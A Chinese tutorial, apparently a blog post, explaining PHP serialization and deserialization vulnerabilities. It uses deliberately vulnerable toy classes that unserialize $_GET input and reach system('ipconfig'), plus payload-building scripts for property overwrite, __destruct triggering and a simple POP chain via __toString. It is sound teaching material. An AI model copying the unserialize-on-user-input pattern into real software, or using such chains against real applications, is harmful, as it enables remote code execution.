<?php
class student{
public $name="joker";
private $age=11;
public function sayhello(){
echo "hellohello";
}
}
$a=new student();
$b=serialize($a);
echo $b;
?>
结果如下:
反序列化
函数:
unserialize()
他就是反过来,能够把序列化的字符串转化为类对象可供使用。
代码演示
php复制代码
<?php
class student{
public $name="joker";
private $age=11;
public function sayhello(){
echo "hellohello";
}
}
$a=new student();
$b=serialize($a);
$c=unserialize($b);
$c->sayhello();
?>
结果如下:
反序列化漏洞的成因与复现
原理分析
目标执行类中本不能执行的eval等危险函数。
反序列化可以覆盖原本的变量值,所以可以帮住我们运行本不应该被运行的区域。
自拟案例演示
以下为一串代码。
php复制代码
<?php
class student{
public $name="joker";
public $age=11;
public function runeval(){
echo $this->age; //输出为19
if ($this->age >= 18){
system("ipconfig"); //原本不能执行的区域被执行
}
}
}
$b=$_GET["x"];
$c=unserialize($b);
$c->runeval();
?>
<?php
class student{
public $name="joker";
public $age=11;
public function runeval(){
echo $this->age; //输出为19
if ($this->age >= 18){
system("ipconfig"); //原本不能执行的区域被执行
}
}
}
$b=new student;
$c=serialize($b);
echo $c;
?>
接下来删减代码,仅保留我们要更改的地方
要尽量的减少对原代码运行的影响,防止功能错乱。
这里我们只需要改一个age属性值,让他能过检查即可,那么把age留下其余的全部删除
php复制代码
<?php
class student{
public $age=19;
}
$b=new student;
$c=serialize($b);
echo $c;
?>
然后下面给他序列化输出一下。
把这串序列化字符串作为x传入原先的地方。
这里对比一下源代码
php复制代码
<?php
class student{
public $name="joker";
public $age=11;
public function runeval(){
echo $this->age; //输出为19
if ($this->age >= 18){
system("ipconfig"); //原本不能执行的区域被执行
}
}
}
$b=$_GET["x"];
$c=unserialize($b);
$c->runeval();
?>
<?php
class student{
public $name="joker";
public $age=11;
public function runeval(){
echo $this->age; //输出为19
if ($this->age >= 18){
system("ipconfig"); //原本不能执行的区域被执行
}
}
}
$b=$_GET["x"];
$c=unserialize($b);
$c->runeval();
?>
看下面类对象的实例化。
我们是直接传入然后手动执行了runeval。
但是如果不执行的话,那不就是一点办法没有了嘛。
所以如果他有构造方法,构造方法就会在反序列化的时候自动执行。
大大提升了我们的可玩性!!
看这个代码
php复制代码
<?php
class student{
public $name="joker";
public $age=11;
public function __destruct(){
echo "aa";
echo $this->age; //输出为19
if ($this->age >= 18){
system("ipconfig"); //原本不能执行的区域被执行
}
}
}
$b=$_GET["x"];
$c=unserialize($b);
?>
仅仅进行了反序列化,并没有执行方法,但是类中有一个构造方法。
这个方法会在类结束的时候自动执行,所以不好意思,上一个payload依旧秒掉。
(注意一下实例化加个(),我上面给忘了。。。)
php复制代码
<?php
class student{
public $age=19;
}
$b=new student();
$c=serialize($b);
echo $c;
?>
pop链类跳跃
看下面代码
php复制代码
<?php
class student1{
public $name="joker";
public $age=11;
public function getip(){
echo system("ipconfig");
}
}
class student2{
public $name;
public $age;
public function __toString(){
echo "runing";
$this->name->{$this->age}();
}
}
$b=$_GET["x"];
$c=unserialize($b);
echo $c;
?>
这里有两个类,仅仅靠源代码,他们毫无关联。
很明显system在student1中
然而getip方法显然是没有被执行的。
student2有toString的方法,如果类对象被当做字符串处理则会执行。
而下面那个echo明显作为了字符串,所以能够执行toString。
然后里面的
this-\>name-\>{this->age}();
两个属性值都能够被反序列化恶意更改让他实例化为student1并执行函数。
所以
php复制代码
<?php
class student1{
}
class student2{
public $name;
public $age="getip";
}
$c=new student2();
$z=new student1();
$c->name=$z;
$d=serialize($c);
echo $d;
?>